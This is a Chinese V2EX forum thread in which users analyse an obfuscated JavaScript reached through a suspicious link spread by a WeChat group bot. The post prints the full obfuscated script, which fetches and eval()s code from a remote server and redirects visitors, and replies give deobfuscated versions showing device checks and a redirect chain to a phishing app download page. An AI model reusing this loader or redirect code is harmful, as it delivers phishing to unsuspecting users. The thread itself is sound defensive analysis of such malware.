今天在微信群看到机器人转发一些奇奇怪怪的链接,发现 js 还加密了,有办法知道他具体在做啥么? - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
请不要在回答技术问题时复制粘贴 AI 生成的内容
justNoBody
V2EX    程序员

今天在微信群看到机器人转发一些奇奇怪怪的链接,发现 js 还加密了,有办法知道他具体在做啥么?

  •  
  •   justNoBody 2023-09-04 14:06:48 +08:00 3334 次点击
    这是一个创建于 780 天前的主题,其中的信息可能已经有所发展或是发生改变。

    源链接: https://video.piaoniu.com/tweet/16917581836318091.mp4?ci=j63sohnl&s://www.qunar.com/kong/pbray?ex_track=auto_5a3b7302

    访问以后可以拿到:<script/src=http://www.v2ex.com//mo.ffbon.com/zzzz></script>%

    域名查了,是前不久在 alibabaglobal 买的

    再访问就可以看到一个加密的 js 代码:

    var version_='jsjiami.com.v7';var _0x14f009=_0x53b8;function _0x53b8(_0x262706,_0x3e358c){var _0x522920=_0x5229();return _0x53b8=function(_0x53b803,_0x3c83f2){_0x53b803=_0x53b803-0x14d;var _0x5c60b1=_0x522920[_0x53b803];if(_0x53b8['PJuQhT']===undefined){var _0x2c2073=function(_0x32ae92){var _0x53d115='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x421dfe='',_0x10fd48='';for(var _0x13e9e6=0x0,_0x245401,_0x146a02,_0x446228=0x0;_0x146a02=_0x32ae92['charAt'](_0x446228++);~_0x146a02&&(_0x245401=_0x13e9e6%0x4?_0x245401*0x40+_0x146a02:_0x146a02,_0x13e9e6++%0x4)?_0x421dfe+=String['fromCharCode'](0xff&_0x245401>>(-0x2*_0x13e9e6&0x6)):0x0){_0x146a02=_0x53d115['indexOf'](_0x146a02);}for(var _0x3b2e04=0x0,_0x2c6669=_0x421dfe['length'];_0x3b2e04<_0x2c6669;_0x3b2e04++){_0x10fd48+='%'+('00'+_0x421dfe['charCodeAt'](_0x3b2e04)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10fd48);};var _0x767da8=function(_0x31adf8,_0x182f4c){var _0x2535e6=[],_0x154504=0x0,_0x2983aa,_0x252b02='';_0x31adf8=_0x2c2073(_0x31adf8);var _0x29782e;for(_0x29782e=0x0;_0x29782e<0x100;_0x29782e++){_0x2535e6[_0x29782e]=_0x29782e;}for(_0x29782e=0x0;_0x29782e<0x100;_0x29782e++){_0x154504=(_0x154504+_0x2535e6[_0x29782e]+_0x182f4c['charCodeAt'](_0x29782e%_0x182f4c['length']))%0x100,_0x2983aa=_0x2535e6[_0x29782e],_0x2535e6[_0x29782e]=_0x2535e6[_0x154504],_0x2535e6[_0x154504]=_0x2983aa;}_0x29782e=0x0,_0x154504=0x0;for(var _0x44a4e6=0x0;_0x44a4e6<_0x31adf8['length'];_0x44a4e6++){_0x29782e=(_0x29782e+0x1)%0x100,_0x154504=(_0x154504+_0x2535e6[_0x29782e])%0x100,_0x2983aa=_0x2535e6[_0x29782e],_0x2535e6[_0x29782e]=_0x2535e6[_0x154504],_0x2535e6[_0x154504]=_0x2983aa,_0x252b02+=String['fromCharCode'](_0x31adf8['charCodeAt'](_0x44a4e6)^_0x2535e6[(_0x2535e6[_0x29782e]+_0x2535e6[_0x154504])%0x100]);}return _0x252b02;};_0x53b8['BQMHdH']=_0x767da8,_0x262706=arguments,_0x53b8['PJuQhT']=!![];}var _0x3c9c50=_0x522920[0x0],_0x3e7979=_0x53b803+_0x3c9c50,_0x2201e0=_0x262706[_0x3e7979];return!_0x2201e0?(_0x53b8['RjVJVx']===undefined&&(_0x53b8['RjVJVx']=!![]),_0x5c60b1=_0x53b8['BQMHdH'](_0x5c60b1,_0x3c83f2),_0x262706[_0x3e7979]=_0x5c60b1):_0x5c60b1=_0x2201e0,_0x5c60b1;},_0x53b8(_0x262706,_0x3e358c);}(function(_0x507990,_0x50e0e9,_0x13e534,_0x320e1b,_0x2f4f04,_0x877a64,_0x214804){return _0x507990=_0x507990>>0x4,_0x877a64='hs',_0x214804='hs',function(_0x2b2ade,_0x26792f,_0x294692,_0x3a3af8,_0x1bd3e4){var _0x1aad5a=_0x53b8;_0x3a3af8='tfi',_0x877a64=_0x3a3af8+_0x877a64,_0x1bd3e4='up',_0x214804+=_0x1bd3e4,_0x877a64=_0x294692(_0x877a64),_0x214804=_0x294692(_0x214804),_0x294692=0x0;var _0x2daf5c=_0x2b2ade();while(!![]&&--_0x320e1b+_0x26792f){try{_0x3a3af8=-parseInt(_0x1aad5a(0x162,'UI*a'))/0x1*(-parseInt(_0x1aad5a(0x16a,'KZI7'))/0x2)+parseInt(_0x1aad5a(0x14d,'hYoQ'))/0x3+-parseInt(_0x1aad5a(0x152,'r1[x'))/0x4*(parseInt(_0x1aad5a(0x16b,')*GJ'))/0x5)+parseInt(_0x1aad5a(0x15b,'v!!W'))/0x6*(parseInt(_0x1aad5a(0x168,'30S!'))/0x7)+-parseInt(_0x1aad5a(0x15d,'UI*a'))/0x8+-parseInt(_0x1aad5a(0x150,'c9ms'))/0x9+-parseInt(_0x1aad5a(0x167,'30S!'))/0xa;}catch(_0x2710cd){_0x3a3af8=_0x294692;}finally{_0x1bd3e4=_0x2daf5c[_0x877a64]();if(_0x507990<=_0x320e1b)_0x294692?_0x2f4f04?_0x3a3af8=_0x1bd3e4:_0x2f4f04=_0x1bd3e4:_0x294692=_0x1bd3e4;else{if(_0x294692==_0x2f4f04['replace'](/[MIXYJWHyENUfqdDrKQ=]/g,'')){if(_0x3a3af8===_0x26792f){_0x2daf5c['un'+_0x877a64](_0x1bd3e4);break;}_0x2daf5c[_0x214804](_0x1bd3e4);}}}}}(_0x13e534,_0x50e0e9,function(_0x28edbb,_0x1c6743,_0x4b8bc2,_0xb03efb,_0x5c483a,_0x1daba7,_0x20198c){return _0x1c6743='\x73\x70\x6c\x69\x74',_0x28edbb=arguments[0x0],_0x28edbb=_0x28edbb[_0x1c6743](''),_0x4b8bc2='\x72\x65\x76\x65\x72\x73\x65',_0x28edbb=_0x28edbb[_0x4b8bc2]('\x76'),_0xb03efb='\x6a\x6f\x69\x6e',(0x13b4c4,_0x28edbb[_0xb03efb](''));});}(0xcd0,0x84fbf,_0x5229,0xcf),_0x5229)&&(version_=_0x5229);var url=window[_0x14f009(0x153,'v!!W')][_0x14f009(0x166,'MmtO')],link=_0x14f009(0x163,'MV%i'),xmlHttp=new XMLHttpRequest();function _0x5229(){var _0x87ae92=(function(){return[version_,'rfjWWMsNdYjiaNmQIKi.WXDcJofEmq.UNvQH7yID==','W67cKCoMaI4comoFvHCoif4','W7vbW6m','Amo6WOPm','WQ0aWRjdW5ddM8kqWR3cKCo4zK4b','WQShW4eiWRdcLmouWQC','ySoXdSkR','qG97cePXySoh','W7NdVbDLybxcGq','W7ldGGL5tmk/WOnJzfLUb8kc','WPdcI8kC'].concat((function(){return['W7PaWRXFbSokWQJcJmo1W7KfFSke','WO3cT8oxoCk5xSo0dmkiAMZcOW','wmoZomk+Dq','swTKCGzZwrFcRSoaDMDJ','W7v7DvZcUZnbvG','BmoTdq','W7BcV8ogWO4tqv4','WO9jm8kQW5yrEh3dNSoKyq','W5tcNu/cTq','W75eW48xy8kiW67cKq','WOWkEmob','W6pcJbCWuSohfwddRMPTy34'].concat((function(){return['WQ0MlWNdUMPbDSkzW70EWO0','W7DCW7yvWOxcH8ozWP3cGmorDuOSW63cLmkVqSof','W5njk8kxWQldQ8oKWO7cImoiWOZdMCot','AmoPWOC','DgJdM3LA','maldU3BcKh5PW5iwjSktaq','xMddP20','W5fnjCktWQRcVCkNWPdcO8o1WQ4','WQufW74FrmofWRxdT8kkWQzgumkApSoFds7cVXWluJ7cVheMWPzPzCoTWPRcVCkoadGguSo/WQ9jjhJdVxbgdIVcIqdcKuXzW5LkW61h'];}()));}()));}());_0x5229=function(){return _0x87ae92;};return _0x5229();};xmlHttp[_0x14f009(0x157,'2hDe')](_0x14f009(0x15e,'^Wqq'),link+'?url='+url,!![]),xmlHttp[_0x14f009(0x161,'JT]B')](null),xmlHttp[_0x14f009(0x15c,'30S!')]=function(){var _0x2688aa=_0x14f009,_0x2671a5={'YmRpR':function(_0x595dd6,_0x21996e){return _0x595dd6(_0x21996e);}},_0x2fbb94=_0x2671a5[_0x2688aa(0x151,'$bHC')](eval,'('+xmlHttp[_0x2688aa(0x160,'DvM#')]+')');console[_0x2688aa(0x14e,'3eu#')](_0x2fbb94[_0x2688aa(0x165,'30S!')]),_0x2fbb94[_0x2688aa(0x169,'$bHC')]==0x1?location[_0x2688aa(0x159,'UI*a')]=_0x2fbb94['data']:_0x2671a5[_0x2688aa(0x15f,'JT]B')](alert,_0x2fbb94[_0x2688aa(0x154,'$bHC')]);};var version_ = 'jsjiami.com.v7'; 
    17 条回复    2023-09-05 11:23:44 +08:00
    x86
        1
    x86  
       2023-09-04 14:15:33 +08:00
    jsjiami.com 打开就自动登入了一个别人的号
    justNoBody
        2
    justNoBody  
    OP
       2023-09-04 14:25:40 +08:00
    @x86 是说这个 js 在登录账号做解密么?
    fangdajiang
        3
    fangdajiang  
       2023-09-04 14:36:45 +08:00
    FROM GPT4:

    当然可以。这段代码经过混淆,但我们可以大致了解其功能:

    1. **初始变量声明**:
    - `version_`:一个字符串变量,初始化为`'jsjiami.com.v7'`。
    - `_0x14f009`:初始化为函数`_0x53b8`。
    - 代码中使用了多个混淆的函数和变量名,这使得代码难以一眼看明白。

    2. **函数 `_0x53b8`**:
    - 这个函数似乎是某种解密或解码功能。它接受两个参数,然后通过多个解码逻辑进行处理。
    - 这个函数的内部逻辑包括 base64 解码、一种 RC4 加密算法的形式以及一些字符串操作。
    - 它似乎用 RC4 算法进行解密。

    3. **匿名函数调用**:
    - 在`_0x53b8`函数定义后,有一个立即调用的函数表达式( IIFE )。这是 Javascript 中常用的一种模式,用于在定义函数后立即执行它。
    - 这个 IIFE 似乎负责设置一些混淆或编码逻辑。

    4. **网络请求逻辑**:
    - 代码定义了一个`url`变量,它获取当前窗口的位置( URL )。
    - `link`被初始化为一个字符串,但其值被混淆了。
    - 创建了一个`XMLHttpRequest`对象`xmlHttp`。这是 Javascript 中用于发出异步 HTTP 请求的方法。
    - 然后代码设置`xmlHttp`对象向混淆的`link`发送 GET 请求,并附带当前的`url`作为参数。这似乎是一个 API 调用或对某个外部服务的调用。
    - 当请求完成时(`onreadystatechange`事件),代码使用`eval`函数评估响应(如果响应不是来自可信源,使用`eval`函数可能是危险的)。然后将结果记录到控制台,并根据结果可能重定向用户。

    5. **最后一行**:
    - 最后一行将`version_`变量重新初始化为它开始的值。

    总的来说,这段代码的目的似乎是:
    1. 设置混淆和解密逻辑。
    2. 向一个混淆的链接发出网络请求,并将当前窗口的 URL 作为参数。
    3. 处理响应并可能根据结果重定向用户。

    考虑到代码的混淆性质,特别是当它们使用`eval`函数时,处理此类脚本需要特别小心,因为它们可能执行潜在的恶意代码。
    zhyl
        4
    zhyl  
       2023-09-04 15:12:18 +08:00
    ```
    var url = window['location']['href'],
    link = 'https://206codes.fyjdyp.cn/api.php/portal/index/geturlb',
    xmlHttp = new XMLHttpRequest()

    xmlHttp['open']('GET', link + '?url=' + url, !![]),
    xmlHttp['send'](null),
    (xmlHttp['onreadystatechange'] = function () {
    _0x2fbb94 = eval('(' + xmlHttp['responseText'] + ')')
    console['log'](_0x2fbb94['msg']),
    _0x2fbb94['code'] == 0x1
    ? (location['href'] = _0x2fbb94['data'])
    : alert(_0x2fbb94['msg'])
    })
    ```
    zhyl
        5
    zhyl  
       2023-09-04 15:13:52 +08:00
    动态直接接口下发的代码
    zhyl
        6
    zhyl  
       2023-09-04 15:14:06 +08:00
    @zhyl #5 执行
    Maerd
        7
    Maerd  
       2023-09-04 15:35:19 +08:00
    @zhyl 哥们是直接用解混淆工具解的吧,这个解出来是错的
    zhyl
        8
    zhyl  
       2023-09-04 16:12:50 +08:00
    @Maerd 手动解的不保真
    c978R77Le1z2f8u9
        9
    c978R77Le1z2f8u9  
       2023-09-04 16:13:43 +08:00
    @zhyl url 是对的
    InDom
        10
    InDom  
       2023-09-04 16:20:23 +08:00
    https://www.qs5.org/Post/673.html 可以参考我写的这个,这个玩意的原理上是一样的。解出来的代码应该与 4 楼差不多
    Maerd
        11
    Maerd  
       2023-09-04 16:31:57 +08:00
    @zhyl 你这手解的怎么和我用工具反混淆出来的一样呢,而且错的地方也一样,抓个包能很明显发现这个 url 并没有被请求到,对 mo.ffbon.com/zzzz 进行重写替换上述代码,也无法实现跳转效果,这种情况很明显是反混淆工具在环境检测的时候走向了错误的分支
    zhyl
        12
    zhyl  
       2023-09-04 17:17:53 +08:00
    @Maerd #11 你说的对,这个 url 无效
    Maerd
        13
    Maerd  
       2023-09-04 17:35:19 +08:00
    原代码会检测目标平台,如果是 pc 端则跳转百度,如果是移动端,则通过阿里云的白域名 ffbon.com 跳转两次,然后再跳转到到移动云,通过移动云跳转到钓鱼 app 下载网站,所有的内容都是动态生成,但是伪装成了静态页。我猜测这种方式应该是为了过微信和国家防火墙的反诈检测,搞得还挺麻烦待我整理一下放出反混淆后的内容
    justNoBody
        14
    justNoBody  
    OP
       2023-09-04 17:40:40 +08:00
    @Maerd 更骚的是 他一开始用的域名是 piaoniu.com 这个是有备案的
    Maerd
        15
    Maerd  
       2023-09-04 17:58:48 +08:00
    @justNoBody 他用的所有的域名都有备案,应该是电报上面黑产卖的那种
    Maerd
        16
    Maerd  
       2023-09-04 18:05:47 +08:00   1
    这个链接返回的是第一层加密 js ,逆向后按照下方代码请求后,会得到第二层加密 js ,最后跳转到钓鱼页面

    ![钓鱼 app]( https://img1.imgtp.com/2023/09/04/HuDxKzqv.jpg)

    以下是反混淆内容

    ```Javascript
    // 注意:以下内容需要在移动端微信浏览器中打开,node 端无法测试
    // 如需要在 pc 端浏览器测试,请将 ua 改为微信内置浏览器 ua
    // 例:Mozilla/5.0 (Linux; Android 13; PHB110 Build/TP1A.220905.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/5235 MMWEBSDK/20230701 MMWEBID/8568 MicroMessenger/8.0.40.2420(0x28002837) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64

    /**
    * 获取指定 url 参数
    */
    function getParam(queryStr = "", key = null) {
    var pattern = new RegExp("(^|&)" + key + "=([^&]*)(&|$)", "i"),
    groups = queryStr.substr(1).match(pattern);
    // 有对应的 url 参数返回编码后的 url 参数,没有则返回空
    return (groups != null) ? unescape(groups[2]) : ""
    }

    /**
    * 环境检测,此处逻辑应当是为了防止在 pc 端打开,仅检测手机端,用于跳转钓鱼网站
    */
    function envCheck(ciValue) {
    // 如果没有 ci 参数,跳转到百度
    var baiduUrl = "https://www.baidu.com"
    if (!ciValue) {
    location.replace();
    return;
    }
    var platforms = { "win": false, "mac": false, "xll": false }
    // 此处为环境检测,node 环境没有 navigator 对象,测试时可以将下属 8 行代码注释掉
    var currentPlatform = navigator.platform;
    platforms.win = currentPlatform.indexOf("Win") == 0;
    platforms.mac = currentPlatform.indexOf("Mac") == 0;
    platforms.x11 = currentPlatform == "X11" || currentPlatform.indexOf("Linux") == 0;
    // 如果是 win 、mac 、x11 环境,跳转到百度
    if (platforms.win || platforms.mac || platforms.xll) {
    location.replace(baiduUrl);
    return;
    }
    }

    /**
    * 发送钓鱼请求,此处用了 xhr 请求,node 无法请求,实际测试时请自行替换
    */
    function main() {
    // 此处原内容为 window.location.search ,为 node 环境测试方便,使用楼主提供的 url
    // var queryStr = window.location.search;
    var queryStr = "?ci=j63sohnl&s://www.qunar.com/kong/pbray?ex_track=auto_5a3b7302";
    var ciValue = getParam(queryStr, "ci")
    // envCheck(ciValue); // 在桌面端平台这行可以省略,因为会跳转到百度
    var xhr = new XMLHttpRequest()
    xhr.Onreadystatechange= function () {
    xhr.readyState == 4 && xhr.status == 200 && window.location.replace(xhr.responseText);
    };
    xhr.open("POST", "https://hj.ffbon.com/blii.html", true);
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    // var _0x1d1a3b = window.localStorage.getItem("xxio" + ciValue);
    // _0x1d1a3b == null ? (window.localStorage.setItem("xxio" + ciValue, "gsdfsds"), _0x1d1a3b = 0) : _0x1d1a3b = 1;
    xhr.send("vi=" + ciValue + "&nu=" + 1);
    }

    //执行入口
    main()
    ```
    justNoBody
        17
    justNoBody  
    OP
       2023-09-05 11:23:44 +08:00
    @Maerd 我感觉是把别人家的网站漏洞找到了以后做的吧
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     922 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 27ms UTC 20:15 PVG 04:15 LAX 13:15 JFK 16:15
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86